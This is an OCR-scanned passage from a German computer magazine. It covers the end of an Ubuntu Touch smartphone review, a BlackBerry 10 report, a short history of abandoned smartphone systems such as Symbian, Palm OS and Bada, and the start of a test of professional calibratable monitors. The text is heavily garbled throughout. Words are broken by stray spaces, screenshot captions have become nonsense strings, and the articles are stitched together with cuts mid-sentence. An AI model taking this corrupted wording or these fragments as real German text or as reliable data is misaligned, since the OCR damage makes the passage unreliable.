Entwicklerversion ausprobieren möchte, 
d ie auf unserem Nexus 4 ähn l ich stabi l  l ief, 
verwendet stattdessen d ie Option 

--eh an n el =u bu ntu-to uch/ u bu ntu-rtm/1 4 .09-proposed. 

Nach dem F lashen bootet das Gerät auto­
matisch neu.  
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Der Launeher mit den meist 
genutzten und aktuel l  

laufenden Apps lässt sich 
jederzeit von l inks ins Display 

ziehen. 

Anwender kann  konfigu rieren, 
welche Scopes aktiv s ind.  

Scopes können Apps im Prin­
zip komplett ersetzen, haben 
aber e in paar Nachtei le . So g ibt 
es keine Mögl ichkeit, d i rekt e in 
bestimmtes Scope anzusteuern ­
man muss sie in der konfigu rier­
ten Reihenfo lge nacheinander 
du rchwischen oder s ie aus  der 
Konfigurat ionsseite heraus  an­
springen. Diese erreicht man, wie 
bei vie len anderen Apps auch, 
indem man sie vom unteren Bi ld­
sch irmrand her hochzieht. 

Zwischen den la ufenden 
Apps wechselt man über d ie S i ­
debar l i nks oder über e ine An­
sicht, d ie d ie laufenden Apps als 
Ka rtenstapel anzeigt. Letztere er­
reicht man du rch Wischen vom 
rechten Rand i n  das Disp lay hi­
nein. Um eine App zu beenden, 
wischt man sie einfach aus dem 
Stapel h inaus .  

Unter der Oberfläche läuft e in 
L in ux, das  deut l ich näher an 
Desktop- und Server-Systemen ist 
a l s  Andro id .  Zum indest in der  
Download-Version kann man mi t  
der  Term ina i-App oder per An­
d ro id Debug Br idge soga r  mit  
Root-Rechten auf das System zu­
g reifen - das Root-Passwort ent­
spricht dem Code, mit dem der 
Lockscreen fre igescha ltet wird .  
System-Updates kommen Linux­
typisch in kle inen Häppchen, das 
E insp ie len erfordert aber trotz-
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dem einen Reboot ins Recovery 
- die Systempartit ionen s ind im 
Norma l betr ieb read-on ly re­
mou ntet und  daher  n icht be­
schreibbar. 

Fazit 

Natür l ich hat die Entwicklerver­
sion von Ubuntu fü r Smartpho­
nes noch i h re Bugs: Mal hakt die 
Oberfläche, ma l  verschwinden 
d ie lcons i n  den Scopes, ma l  
sa ugt das System den Akku i n  
wenigen Stunden l eer, we i l  e s  
s i ch  unermüd l ich mit dem fa l­
schen Passwort i n  e inem WLAN 
anmelden wi l l .  Das App-Ange­
bot ist dünn,  d ie  C loud-E inb in­
dung nicht so geschmeidig wie 
be i  Apple und Goog le. 

Aber d ie Apps von Canonical 
und auch ersten Drittentwicklern 
zeigen,  dass man du rchaus  
schöne Apps fü r Ubuntu sch rei­
ben kann .  Die Scopes sind eine 
i nteressa nte Alternat ive, deren 
ga nzes Potenzi a l  fre i l i ch  noch 
ausgelotet werden muss. Das Be­
d ienkonzept von Ubuntu ist 
sch lüssig, d ie neuen Wischgesten 
hat man schnel l  gelernt. Es macht 
Spaß, U buntu auf Smartphones 
zu benutzen - auch wenn es ge­
genüber Android und iOS noch 
ein iges aufzuholen hat. 

(odi@ct.de) 

c'l: Kompatib le Geräte, 
I nsta l l ation, Video: ct.de/yv4w 

Scopes, eine Mischform von 
Widget und App, sind die 
Besonderheit von Ubuntu. 
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Report I Smartphone-Systeme: BlackBerry 
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Vor acht Jahren war BlackBer­
ry noch die Nummer zwei im 

Smartphone-Geschäft, heute ist 
das kanadische Unternehmen 
h ierzu lande e in Außenseiter. 
Schade, denn eigentl ich s ind die 
Schwächen von früher längst be­
hoben: BlackBerry OS ist seit Ver­
s ion 1 0  wieder ein spannender 
Konku rrent gegenüber Android, 
iOS und Windows Phone. 

Al le neuen B lackBerry-Mobi l ­
geräte haben wenigstens zwei 
Gigabyte RAM und einen Mehr­
kernprozessor und s ind damit 
konku rrenzfähig mit iPhone und 
Co. Die Smartphones Z 1  0 und 
Z30 s ind reine Touchscreen­
Geräte, a l l e  anderen Geräte von 
BlackBerry haben eine hochwer­
tige, mechanische QWERTZ-Tas­
tatur. Sie hat einen deutl ich spür­
baren Druckpunkt und ausge­
formte Tasten und lässt s ich 
damit b l ind bed ienen. BlackBerry 
1 0 l iefert dazu Wortergänzungen 
in  bis zu d rei Sprachen g leichzei­
tig - das lästige Umscha lten wie 
auf anderen Plattformen entfä l lt. 

Vol ker Weber 

Das Arbeitstier 
BlackBerry: Perfekte Messenger-Masch i nen, 
Betriebssystem fü rs Bus i ness 

Mit einem BlackBerry-Smartphone und dem Betriebs­
system BlackBerry 1 0  bekommt man die beste Messag ing­
Masch ine  auf dem Markt - und  ka n n  auf se inem 
Smartphone Arbeits- und Privatwelt sau ber trennen.  

BlackBerrys s ind  d ie perfekten 
Messag i ng-Sma rtphones. A l l e  
Nach richten aus  a l l en  Que l len 
laufen im BlackBerry Hub  zusam­
men, seien es mehrere Mai i -Ac­
counts, Twitter, Facebook, SMS, 
WhatsApp oder das B lackBerry­
e igene Chat-System BBM. Der 
Hub ist von jeder App aus  über 
eine L-Geste erreichbar. E ine Be­
nach richtigungs-LED s igna l is iert 
den Nachrichtene ingang (seit 
BlackBerry 1 0.3 . 1 ) in  versch iede­
nen Fa rben, sodass man auch 
ohne E inschalten des Geräts er­
kennt, ob wichtige Nachrichten 
eingegangen s ind.  

Privat und geschäftlich 

Setzt man den BlackBerry Enter­
prise Server a l s  Management­
lösung ein, so trennt B lackBerry 
1 0  zuverlässig geschäft l iche von 
privaten Daten und Apps. Der 
Bus iness-Bereich wird vom Un­
ternehmen aus der Ferne ver­
wa ltet, der private b le ibt frei .  Im  
privaten Bereich laufen neben 

nat iven B lackBerry- auch An­
d roid-Apps. Die Android-Run­
t ime stammt vom AOSP (An­
d roid Open Source Project) und 
unterstützt desha l b  keine Goo­
g le-P iay-Dienste, der offizie l l e  
P l ay  Store von Goog le feh lt  a l so. 
Am einfachsten bekommt man 
Apps im seit 1 0.3 mitgel ieferten 
Amazon App Store. Das Angebot 
ist l ange nicht so g roß wie im 
Play Store, das  Wichtigste findet 
man aber. Außerdem können l n­
sta l lat ionsdateien von Android­
Apps (APKs) per Sideload ing ma­
nue l l  insta l l iert werden. 

l n  der  Bundesreg ie rung ist 
B lackBerry aufgrund einer Spe­
zia l-Anpassung du rch das deut­
sche U nternehmen Secusmart 
be l iebt: Dieses hat e ine per SO­
Ka rte imp lement ierte Krypta­
Lösung entwickelt .  Secusu ite 
versch l ü sse lt  sowoh l  Sprache 
a l s  auch Daten und lässt s ich im 
U nternehmen per Gateway a n  
vorhandene Te lefon lösungen 
anbinden .  Mit  z i rka 2000 Eu ro 
pro Endgerät  kommt d ie  Lö-

Appstore 
Neue App-Aklual ••eruo>oen v� 
Sonos 
Deep w.n� Vanou� Arus 

� @robotunixom 
._..," moch! OSX •  h 

../ Benjamin Lampe 
"'' ... rnl � 
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Der BlackBerry Hub zieht a l l e  Konten 
und den Ka lender zu einer Ansicht 
zusammen.  
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Der Dateimanager g reift auf BlackBerry, 
Speicherkarte, verbundene PCs und 
Cloud Services zu. 

sung fü r den privaten E insatz 
aber eher n icht i n  F rage.  B lack­
Berry hat Secusmart i nzwischen 
aufgekauft. 

Hardware 

BlackBerry-Mobi lgeräte s ind sehr 
robust. Mit  Ausnahme des Z 1  0 
ha l ten Sie locker e inen Tag in­
tensiver Nutzung du rch. Die Tas­
tatu rgeräte haben quadratische 
B i ldschirme mit 720 x 720 Pixe ln  
und e ignen s ich desha l b  wenig 
fü r d ie  Wiedergabe von F i lmen 
oder Spie len. 

Nur das aktue l l ste und derzeit 
spannendste B lackBerry-Sma rt­
phone Passport hat ein hochauf­
lösendes Display [ 1 ] .  Die Kamera 
ist in a l len Model len eher du rch­
schn itt l ich, mit  l angsamem Au­
tofokus und schlechter Abbi l ­
dungs leistung bei ger inger Be­
leuchtung .  Nu r  bei a usreichen­
dem Tages l icht ge l ingen gute 
Schnappschüsse. 

F ü rs Business, sonst 
n u r  fü r Vielschreiber 

Das Profi l von B lackBerry i s t  sehr  
k lar .  Wer v ie le Nach r ichten er ­
hä l t  und  sch rei bt, fi ndet keine  
bessere Lösung .  Wi l l  man dazu 
noch e ine g ute Trennung  von 
privaten und geschäft l ichen Da­
ten, benötigt man d ie Manage­
ment-P lattform von B lackBerry. 
App-Junkies und  Software-Bast­
le r  a ber  so l l ten s ich woa nders 
umschauen .  

Da ran dü rfte s ich auch i n  Zu­
kunft wenig ändern. Lange Zeit 
versuchte B lackBerry, se ine 
Smartphones den Privatkunden 
schmackhaft zu machen, doch 
inzwischen ste l l t  es s ich wieder 
auf U nternehmenskunden ein, 
d ie  vermehrt mit Softwa re und 
Services bedient werden.  Das 
Geschäft mit Mobi lgeräten wird 
damit  unwichtiger, doch CEO 
John Chen ste l lte un l ä ngst kla r, 
dass BlackBerry auch in Zukunft 
sowoh l  Ha rdware a l s  auch Soft­
wa re weiterentwickelt . Die aktu­
el le Model l pa l ette aus Passport 
und Classic so l l  in 201 5 erweitert 
werden.  Die immer noch gut 
funktionierenden Q5/Q 1 0 und  
Z30 werden abverkauft. 

(acb@ct.de) 

Literatur  

[ 1 ]  Volker Weber, Effizienter Reisepass, 
B lac kßerry-Smartphone Passport 
mit Tastatu r  und  quadratisc hem 
Disp lay, c 't  22/1 4, 5. 74 c'l; 
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Report I Smartphone-Systeme: die Ausgestorbenen 

Ach i m  Barczok 

Die Ausgestorbenen 
Einst g roß, heute vergessen :  Sym bian, Pa l m  OS, 
Web OS, Bada u n d  Windows Mobi le  

Als  Nokia und Pa l m  noch g roße Namen waren, hatten Smartphones Tastaturen 
und Sch reibgriffe l .  Dann  l ießen iPhone und Android a l les andere alt aussehen.  
Die wenigsten Smartphone-Pion iere haben die Touch-Revolution ü berlebt ­
viele Betriebssysteme bl ieben einfach auf der Strecke. 

D ie frühen Jahre der Smart­
phone-Wel le dominierte No­

kia .  Fü r  sei ne mit Appl ikat ionen 
erweiterbaren Smartphones 
nutzte das fi nn ische Unterneh­
men Sym bian OS. Das darauf 
basierende S60 fand s ich ba ld 
auf jedem teu reren Nokia-Smart­
phone. Das Betriebssystem er­
zielte zeitwei l ig weltweite Markt­
antei le von über 50 Prozent, auch 
wei l es Herste l le r  wie Siemens, 
Panasonie und Samsung eben­
fa l l s  auf ih ren Geräten i nsta l l ier­
ten. Nach dem iPhone versuchte 
Nokia das Betriebssystem fü r 
Touch-optimierte Smartphones 
fitzumachen, doch 201 1 gab der 
Schu ltersch l uss mit Microsoft 
Symbian den Todesstoß. 

Gegen Symbian positionierte 
sich Pa lm Anfang 2000 mit sei­
nem u rsprüngl ich fü r stiftbedien­
te PDAs entwickelten Palm OS. 
Das System war fü r b i l l ige Hard­
ware optimiert, die sich damit be­
sonders flüssig bedienen l ieß. Der 
Clou war die Steno-Gestenschrift 
Graffiti, mit der man Buchstaben 
aufs resistive Display kritzelte. l r­
gendwann wurde d ie Ha rdware 
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schnel ler und d ie Betriebssyste­
me funktionsreicher, und Pa lm 
OS hielt nicht mehr  mit. 

Danach probierte es Pa lm 
noch e inma l  m i t  einem neuen 
System auf Augenhöhe mit iOS 
und Android. WebOS basierte 
auf Webtechniken und hatte viele 
innovative Featu res und eine 
schicke Optik. Vie l leicht war das 
System der Zeit voraus, denn die 
Pa lm-Pre-Smartphones waren zu 
schlecht ausgestattet und hatten 
zu viele Macken. Den Garaus 
machte WebOS am Ende aber der  
Zickzackku rs des Palm-Käufers 
HP, der im Ha lbjahrestakt die Mo­
bi lstrategie wechselte und am 
Ende nichts mehr  m i t  Ha rdware 
zu tun haben wol lte. I nzwischen 
lebt WebOS in  Smart-TVs von LG 
weiter. 

Wi ndows fü r Handy 

Microsoft wo l l te mit Windows 
CE in den frü hen Taschencom­
puter-Jahren mitmischen; nach 
mäßigem Erfo lg nannte man das 
System in  Windows Mobile um, 
brachte es auf Smartphones und 

Calc  Card Info 
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Date Book HotSync Memo Pacl 

® ri/i!; /" • 
Prefs Secur i ty SMS 

(j . "'"\ 
To Do L i s t  Welcome 
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Pa lm OS (2004) 

l izenzierte d ie Software an an­
dere Geräteherste l ler. Das Mu lti­
touch-Smartphone von Apple 
ohne Tastatur belächelte Micro­
soft-Chef Steve Ba l lmer 2007 
noch, doch schon ba ld versuchte 
Microsoft vergebl ich, Wi ndows 
Mobi le fü r d ie  neuen Wünsche 
der Anwender anzupassen. Am 
Ende warf Microsoft den Code 
weg und versuchte einen Neu­
anfang mit Windows Phone. 

Fast a l le Samsung-Geräte lau­
fen mit Android, doch am l iebs­
ten würde Samsung se ine Nut­
zer auf e ine e igene P lattform 
locken. E inen erfolgversprechen­
den Versuch sta rtete das korea­
nische Unternehmen 201 0 .  Das 
eigene Betriebssystem Bada OS 
war an  den meisten Stel len eine 
1 : 1 -Kopie von Andro id und 
konnte zu Beg inn  Erfo lge ver­
zeichnen - aber  nu r, wei l Sam­
sung die ersten Bada-Handys mit 
Top-Ha rdwa re geradezu ver­
scherbelte. 201 3 ging Samsung 
die Luft aus .  Bada wurde einge­
ste l l t, d ie  Code-Bas is l ieß Sam­
sung in  das System Tizen einfl ie­
ßen (S. 1 1 3) .  (acb@ct.de) 

Ba da OS (201 0) 
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E i n igermaßen satte Farben und e ine ak­
zeptab le B l ickwinke labhäng igkeit be­

kommt man schon bei ! PS-Monitoren in  der 
250-Eu ro-Kiasse. Das ist gut genug, um die 
private Fotosammlung zu verwa lten und auf­
zupol ieren. Profis genügt das aber nicht: Sie 
brauchen fü r d ie  B i ldbearbeitung e inen 
Wide-Color-Gamut-Monitor - a l so e in  Dis­
play mit g roßem Farbraum und eine höhere 
Fa rbtiefe. 

Außerdem muss man s ich beim Pub l i­
sh ing oder in der Druckvorstufe darauf ver­
lassen können, dass das angezeigte Bi ld auf 
dem Display auch wirk l ich dem späteren Er­
gebnis entspricht. Das klappt nu r  bei Schir­
men, d ie sich ka l ib rieren lassen. Am besten 
werden die ermitte lten Parameter d i rekt im 
Monitor gespeichert, denn dann stehen sie 
d i rekt nach dem Einscha lten und unabhän­
g ig von den E instel l u ngen im Grafi kka rten­
treiber a l l en  Anwendungen zur Verfügung .  

1 1 8  

Wir haben fünf solcher Profi-Schirme in  die 
Redaktion geholt .  E izo steuert mit dem CS240 
den kle insten Monitor zum Testfe ld bei. E r  
hat  e ine Diagona le von 24 Zol l  (6 1 Zentime­
ter) und mit dem Seitenverhältnis von 1 6: 1  0 
eine Auflösung von 1 920 x 1 200 B i ldpunkten. 
Die übr igen Probanden (Eizo CG277, HP  
Z27X, LG  27MB85Z und  NEC  SpectraView Re­
ference 272) zeigen 27 Zol l (69 Zentimeter) in  
der D iagona len und lösen mit 2560 x 1 440 
B i ldpunkten (1 6:9) auf. Zudem steuert LG mit 
dem 31 MU97 einen 4K-Monitor bei, der mit 
4096 x 2 1 60 ( 1 7:9) die höchste Auflösung 
und mit e iner Diagona len von 3 1 " (79 Zenti­
meter) die g rößte Schi rmfläche besitzt. 

Messknechte 

Ab Werk sind bei unseren Testkand idaten die 
Presets gängiger Farbräume wie AdobeRGB 
oder sRGB vorka l i br iert - die zugehör igen 

Messprotoko l l e  l iegen a l len Schirmen bei .  
Unsere Messungen zeigten, dass d ie  Test­
kand idaten die dort defin ierten Fa rbparame­
ter auch e inha lten. Fa l l s  man nicht i n  d iesen 
Presets, sondern im vol len Farbraum der Dis­
p lays a rbeiten möchte oder sie mit einer an­
deren Fa rbtemperatu r  betre iben wi l l ,  muss 
man sel bst Hand an legen. 

Bei der Ha rdware-Ka l ibr ierung lassen sich 
eigene B i ldparameter als Zie lwert vorgeben. 
Ansch l ießend ermittelt e in Messgerät - ein 
günstiges Color imeter oder e in teu reres und 
genaueres Spektra lphotometer - den Gam­
mawert beziehungsweise d ie Fa rbzusam­
mensetzung d iverser Grau- und Fa rbabstu­
fungen. Anhand der Abweichung zwischen 
I st- und Sol l -Zustand korr igiert d ie Ka l ib rier­
softwa re ansch l ießend d ie Farbda rste l l ung  
des  Monitors. 

Nach Messung und Korrektur der Da rstel­
lung im Monitor erzeugt d ie  Ka l ib riersoft-
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Zum Ka l ibrieren kann  man Messköpfe der Monitorherste l ler  
(LG und HP, Mitte) verwenden oder auf Colorimeter wie den Spyder 4 

( l inks) sowie Photometer wie das i l  Pro2 (rechts) zurückgreifen.  

ware a l ler Testkand idaten ein Farbprofi I , das 
die Farbwerte der Monitore exakt beschreibt. 
Diese sogenannten ICC-Profi l e  werden an­
schl ießend in  das Farbmanagement des Be­
triebssystems eingebunden. Erst du rch d iese 
Profi l ie rung können profi lfäh ige Grafi kan­
wendungen wie Photoshop Bi lder mit ande­
rem Farbumfang exakt auf d ie Da rste l l ungs­
charakteri sti k des Mon itors umrechnen.  
Ohne Profi l ierung würde beispielsweise ein 
und derselbe Rot-Ton auf jedem Display 
etwas anders aussehen. Ka l ib rieren und Pro­
fi l i e ren gehen somit immer Hand i n  Hand 
und werden desha l b  häufig (nicht ganz kor­
rekt) synonym verwendet [ 1 ] .  

F ü r  fa rbkritische Anwendungen empfeh­
len die Herste l ler, d ie Mon itore vorab 1 5  bis 
30 Minuten laufen zu lassen, um Fa rbverfä l ­
schungen während der Aufwärmphase der 
H intergundbeleuchtung zu vermeiden. Die­
se Regel stammt aus Zeiten, als Mon itore 
noch e in Backl ight aus Ka ltkathodenröhren 
(CCFL) hatten. Deren Farbspektrum u nter­
schied sich im ka lten Zustand merklich von 
dem bei Betriebstemperatur. Beim LED-Back­
l ight  unserer Testkand idaten konnten wir  
keine Fa rbveränderungen du rch Aufwärmen 
festste l len .  Wer trotzdem fü rchtet, sich du rch 

eine miss lungene Ka l ibr ierung Fa l schfa rben 
einzuhande ln, kann  auf Nummer sicher 
gehen und den Disp lays e ine zehnminütige 
Wa rmlaufphase spendieren. 

Ebenfa l l s  aus Tagen des CCFL-Backl ight 
stammt d ie Empfeh lung, e ine Ka l i br ierung 
regelmäßig aufzufrischen. Der Grund: Mit zu­
nehmenden Alter werden Ka ltkathodenröh­
ren gelbstichig - und damit das gesamte Bi ld 
eines Mon itors. Bei modernem LED-Backl ight 
konnten wir d iesen Effekt nicht beobachten. 
Üb l icherweise n immt hier led ig l ich die He l ­
l igkeit um ci rca 8 Prozent je 1 0 000 Betriebs­
stunden ab. Nach unserer Erfahrung reicht es 
desha lb  aus, die Monitore a l l e  Vierteljahre er­
neut zu vermessen. Sofern dann keine nen­
nenswerten Nachkorrekturen nötig sind, 
kann  man d ie I nterva l l e  zwischen den einzel­
nen Ka l ibr ierungen schrittweise erhöhen. 

Zwei Bit voraus 

Die  LCD-Panels herkömml icher Mon itore un ­
terstützen e ine  Fa rbtiefe von  8 B i t  je Farbka­
na l  - b i l l ige TN-Displays schaffen tei lweise 
sogar  nur 6 Bit . 8-Bit-Pane ls können Rot, 
Grün und B lau mit jewei ls 256 verschiedenen 
He l l igkeitsabstufungen anzeigen. Daraus er-

Prüfstand I Profi-Monitore 

Praxis: Ka l ibrieren 

Ka l i brieren, Profi l ieren, Color imeter, 
Farbmanagement - das kl ingt trocken 
und als ob man sich wochenlang 
eina rbeiten muss, bis der Mon itor e in 
gutes B i ld anzeigt. 

ln der Praxis ist das Ka l ibrieren bei 
unseren Testkand idaten mit wenigen 
Mausklicks in  zehn Minuten erledigt: 
Man braucht ledigl ich die mitgel ieferte 
Software zu insta l l ieren und Monitor 
nebst Messkopf per USB an  den Rechner 
anzusch l ießen. Wer ein anderes 
Colorimeter als das des Herstel lers 
nutzen wi l l ,  fi ndet in  den Datenblättern 
oder dem Softwarehandbuch eine 
Liste der unterstützten Alternativen. 

Die Ka l i brierung sta rtet per Mauskl ick 
und fragt der Reihe nach d ie gewünsch­
ten B i ldparameter ab. Wer sich noch 
nie mit Farbräumen oder -Temperatu ren 
beschäftigt hat, kann die voreingeste l l ­
ten B i ldparameter übernehmen. 
Wicht iger ist, dass sich während der 
Messung d ie Lichtverhältnisse im 
Raum n icht  ändern. 

Die im Ansch l uss an  die Messung 
erzeugten Farbprofi le  bekommt 
man erst gar nicht zu Gesicht: 
Die Prog ramme binden sie automatisch 
i n  d ie Farbverwa ltung des Betriebs­
systems ein. Sofern man fortan Software 
nutzt, d ie mit Farbprofi len umgehen 
kann - beispielsweise Photoshop oder 
F i refox - sol l te damit e ine Da rstel l ung 
ohne Farbverfä lschungen klappen. 

SpectraV- Prolier S 

�pectra View® 

l n  Eizos-Farbmanagement-Software ColorNavigator 6 
sind gängige Ka l ibrierungszie le a ls  Preset angelegt; 
sie lassen sich mit einem Mausklick aufrufen. 
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NECs Ka l ibriersoftware unterstützt nahezu 
jedes erhält l iche Farbmessgerät. 

('" Tonwertluve 

{ Profil 

Monitortyp: 

lnPro Z  

""""""" 
DT1' 94 
amr·AifWJiJ 
iiDisplay 
ilDisplay Z 
ll.DiSplay n 
U.Oisplay Pro 
llMonitor ''"" 
i lPro Z 

(ö' Hardwarekalibration (m Monitor) 

r Kombinierte Hard- l.nd Softwarekalbration 

r Softwarekabation (Video.{UT) 

r Keine l<ababon (n.x po-of\lieren) 

Kiden Sie <Sta-1>, UTI den Monitor mt den �ählten Ei1stelxlgen zu kalbieren I..Od proflieren. 
Wem Sie � Errsteblgen vornehmen wolen, l:iden Sie <Weiter> oder .....al'len Sie aus dem MeraJ rb 
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Erweiterte Grafikprozessor-E instel l ungen 

Z.ei c h n u n g s m o d us: c.:l E::::rwc:.::•=ite::.:rt ________ __j; I 
Dieser MOOus weist eine besonders intensive Nutnmg des GrafikprOZI!SsO""s auf. Er 
nutzt dieulbe Speichermenge wie der Normalmxlus, .aktiviwt: jedoch zus;it:lich 
erweiterte- Techniken, um d.e Zeichenleistung zu verbessern. Wenn dJeSer Modus 
hinsichtlich cl« l!isb . .ng W!nig« gleichmäßig l!rschl!int,. W!Chsi!ln Sie: versuchsv.Me 
in d�n normalen oder in di!n llinfachQO Modus. 

� Grafikproze s s o r  zur B e s c h l e u n i g u n g  der Rechen le istung verwe n d e n  

� O p e n CL verwen d e n  

� H i lfs l i n i e n  und pfa d e  g l ätten 

el 3D-B it-Anze i g e  

Die 1 0-Bit-Unterstützung muss man in 
Photoshop von Hand aktivieren. 

OK 
Abbrechen 

r - - " 
FIREPRO • 

•••••><• 1 AMD ForePro Control Center 
1... � Einstellungen 

Pj « AMD FirePro ... Einstellungen 
> Angehenet 

> voreinsterrungen l.jl 
"' AM D  FirePro"' e 

30-
AnwenduoqseinsleBung 

AMD FirePro"' 
Einstellungen 

EDID-Emulation 

> Desktop­
Management 

> Video 

> Informationen 

Einstellungen für Ihr!! AMD FirePro"' Grafikkarte konfigurieren. 

Vierfa c h gepuffertes Stereo 

Vierfach gepuffertes Stereo aktivieren reaL®· 
Aktive Synchron. (Synchronisieru ngssigna l  alctivi!!rt) 
Diese Opl•on wird bei al:tiveo Stereoanzeigegeräten wie 
Stereoversch lussbril len verwendet. 

Wählen Sie diese Option, um 10-Bit-Pixel Formate mit 
h ö h erer Genauigkeit zu aktivieren. Verwenden Sie d i ese 
Option flir medizinische B i l d a nwen dungen u n d  
Mon itore, d i e  e i n e  B i l dwiedergabe m i t  hOherer 
Genauigkeit erfordern. 

-to ? 

Nur  die Treiber teurerer 
Grafikkarten für Profis 

erlauben eine 1 0-Bit­
Ausgabe am DisplayPort. 

Unte�tützung fUr d<ts 10-Bit- P ixelform<tt <1ktivieren 

geben sich bis zu 1 6,7 Mi l l ionen Mischfa rben. 
Den 1 0-Bit-Displays unserer Profimon itore 
stehen je Farbkana l  1 024 He l l i gkeitsabstu­
fungen zur Verfügung, wodu rch s ie bis zu 
1 ,07 M i l l ia rden versch iedene Mischfa rben 
anzeigen können. Sie beherrschen damit die 
Da rste l l ung  extrem feiner He l l i gkeits- oder 
Farbunterschiede. 

l n  der Praxis ist es a l lerd ings nicht damit 
getan, d ie Monitore anzusch l ießen und d ie 
Fa rbtiefe im Treiber zu erhöhen. Die erste 
Hü rde l iegt im Signa lweg: Die DVI - und 
HDMI- 1 .4-E ingänge unserer Testkand idaten 
haben eine zu geringe Bandbreite fü r 1 0-Bit­
Signale . Im Rechner muss desha lb  eine Gra­
fi kka rte mit DisplayPort stecken. Und obwohl  
auch d ie Chips v ie ler  Mitte lklasse-Grafi k­
karten 1 0-Bit-fäh ig sind, schieben die Herste l­
ler im Treiber einen Riegel davor: Die 1 0-Bit­
Zuspie lung lässt sich ledig l ich bei Profika rten 
wie beispie lsweise AMDs F i rePro und der 
Quadro-Serie von Nvidia aktivieren. 

Doch sel bst mit so lchen Grafi kka rten 
kommt man nicht systemweit in  den Genuss 
des g rößeren Farbumfangs: Auch d ie Grafi k­
programme müssen fü r 1 0  Bit ausgelegt sein 
- und davon g ibt es nicht a l lzu viele. l n  Pho­
toshop lässt s ich d ie 1 0-Bit-Da rste l l ung  in 
den erweiterten Grafi kprozessor-E i nste l l un­
gen aktivieren. Das etwas günstigere Zoner 
Photo Studio kann  ebenfa l l s  mit 1 0 Bit um­
gehen. Nutzer von Lightroom schauen dage­
gen in  d ie Röhre. 

Eizos CG277 hat ein 
Farbmessgerät im 

Displayrahmen. Für  d ie 
Ka l ibrierung schwenkt es 

automatisch vors Display. 
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Die höhere Fa rbtiefe macht s ich bei der  
Ka l i brierung positiv bemerkba r, denn die 1 0-
Bit-Pane ls  unserer Testkand idaten bieten 
hier deut l ich g rößere Reserven fü r Korrektu­
ren und er lauben auch viel feinere Manipu­
lat ionen a l s  herkömmliche Monitore. I ntern 
rechnen unsere Testkand idaten sogar mit 1 2  
bis 1 6  Bit, u m  beispielsweise nach einem Be­
schneiden des Kontrastumfangs die verblei­
benden Fa rb- oder He l l i gkeitsunterschiede 
feiner aufspreizen zu können. 

Bei der  Ka l i br ierung speichern d ie Profi­
mon itore die nötigen Korrektu rwerte d i rekt 
in ih rer i nternen E lektron ik - der sogenann­
ten Look-up Table (LUT). Bei e iner Software­
ka l ibr ierung - die mit jedem bel iebigen Mo­
nitor funktioniert - werden die Korrektu ren 
dagegen ledig l ich im Grafikka rtentreiber vor­
genommen.  Mit herkömml ichen Grafi kka r­
ten steht hier mit 8 Bit nu r  wenig Spie l raum 
zur  Verfügung :  Um beispie lsweise e inen 
Blaustich eines herkömml ichen Mon itors mit 
e iner Softwa reka l i br ierung zu korr ig ieren, 
wird der B lau-Kana l  stets etwas zurückge­
nommen. Dann stehen aber im Grafi kka rten­
treiber nicht mehr a l l e  256 He l l igkeitsabstu­
fungen zur Verfügung, was zu g röberen Ton­
wertabstufungen füh rt und s ich beispie ls­
weise bei der Anzeige von Gewässern oder 
einem strah lend b lauen H immel bemerkba r 
macht. Wenn die He l l igkeitsabstufungen be­
reits in der Grafi kka rte beschn itten werden, 
können auch Mon itore mit 1 0-Bit-Panel und 

höherer i nterner Rechengenau igkeit d iese 
Feh ler nicht mehr korrigieren. 

Aufs Wesentl iche konzentriert 

Auf Profi-Mon itoren muss d ie B i ldqua l ität 
aus jedem Bl ickwinkel konstant bleiben. Kein 
Prob lem fü r unsere Testkand idaten: Auch 
wenn man von den Seiten aufs Disp lay 
schaut, ändert sich die Da rstel l ung nur  mar­
g ina l .  Das bestätigten auch unsere Messun­
gen: LGs 27MB85Z und 3 1  MU97, NECs Spec­
tra View Reference 272 und Eizos CS240 
schneiden i n  Sachen Winke labhäng igkeit 
gut ab. Eizos CG277 und HPs Z27X erreichen 
sogar fast d ie Note "Sehr gut". Al le sechs Ge­
räte tei len sich jedoch die ! PS-Eigenart, dass 
sich schwa rze Flächen orange oder l i la auf­
hel len, wenn man aus den Ecken aufs Display 
schaut. Das macht sich vor a l lem in  dunkler 
Umgebung bemerkbar. 

Al le Testkand idaten zeichnen sich du rch 
e ine sehr satte Fa rbda rste l l ung aus. Sie de­
cken den AdobeRGB-Farbraum nahezu vol l ­
ständig ab .  Im  Verg leich zu herkömml ichen 
Monitoren ist ih r  Rot deutl ich weniger oran­
ge-stichig und das Grün gerät viel satter. Die 
Darste l lung von Mischfa rben gel i ngt unseren 
Probanden ebenfa l l s  problemlos, Rea lmotive 
und Hauttöne sehen sehr natür l ich aus .  

E in le idiges Thema bei (großen) LCD-Mo­
nitoren ist die ung leichmäßige Sch i rmaus­
leuchtung - der B i ldschirm ist dabei bei­
spie lsweise in  der Mitte he l le r  als i n  den 
Ecken.  Das Prob lem: He l l igkeits- oder Kon­
trastkorrekturen gehen schief, wenn man in  
Wirkl ichkeit gar keinen Makel im Bi ld bearbei­
tet, sondern eine fleckige Ste l le  des Monitors. 

Bei beiden Eizo-Monitoren und bei NECs 
SpectraView Reference 272 braucht man sich 
darüber keine Sorgen zu machen, denn sie 
s ind sehr g le ichmäßig ausge leuchtet. Die 
Disp lays von HP  und LG schneiden nicht per­
fekt, aber immer noch gut ab: I h re He l l igkeit 
va r i iert über die Schi rmfläche um rund 1 5  
Prozent. Da d ie Pane ls keine ha rten Rand­
schattierungen zeigen und d ie ger ingen Ab­
weichungen fl ießend verlaufen, braucht es 
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bei ihnen einfa rbige Testbi lder und ein gutes 
Auge, um die leicht i nhomogene Ausleuch­
tung überhaupt zu bemerken. Im  Produktiv­
einsatz dü rfte sie nicht auffa l len .  ln den Pre­
sets fü r sRGB und AdobeRGB, kann  man bei 
LGs 27-Zöl le r  e ine Gleichmäßigkeitsfunktion 
einscha lten.  S ie verri ngert d ie  Abweichun­
gen auf rund 1 0 Prozent. 

Für mögl ichst ku rze Scha ltzeiten sind a l l e  
unsere Testkand idaten mi t  e ine r  Overd rive­
Funktion ausgestattet, die den F l üssigkrista l l  
beim B i ldwechsel besch leun igt. Zu sp ie le­
taug l ichen Rennern werden d ie ! PS-Displays 
damit zwar n icht, mit Scha ltzeiten von rund 
7 bis 1 0  M i l l isekunden fü r e inen einfachen 
Bi ldwechsel (g rey-to-g rey) s ind unsere Test­
kandidaten aber fl i nk  genug fü r d ie  Video­
wiedergabe oder den Videoschn itt 

Eizo CG277 

Eizos 27-Zö l l iger CG277 lässt s ich von a l len 
Testkand idaten am bequemsten ka l i brieren. 
Sein Color imeter versteckt sich h inter e iner 
K lappe unter dem Display und schwenkt fü r 
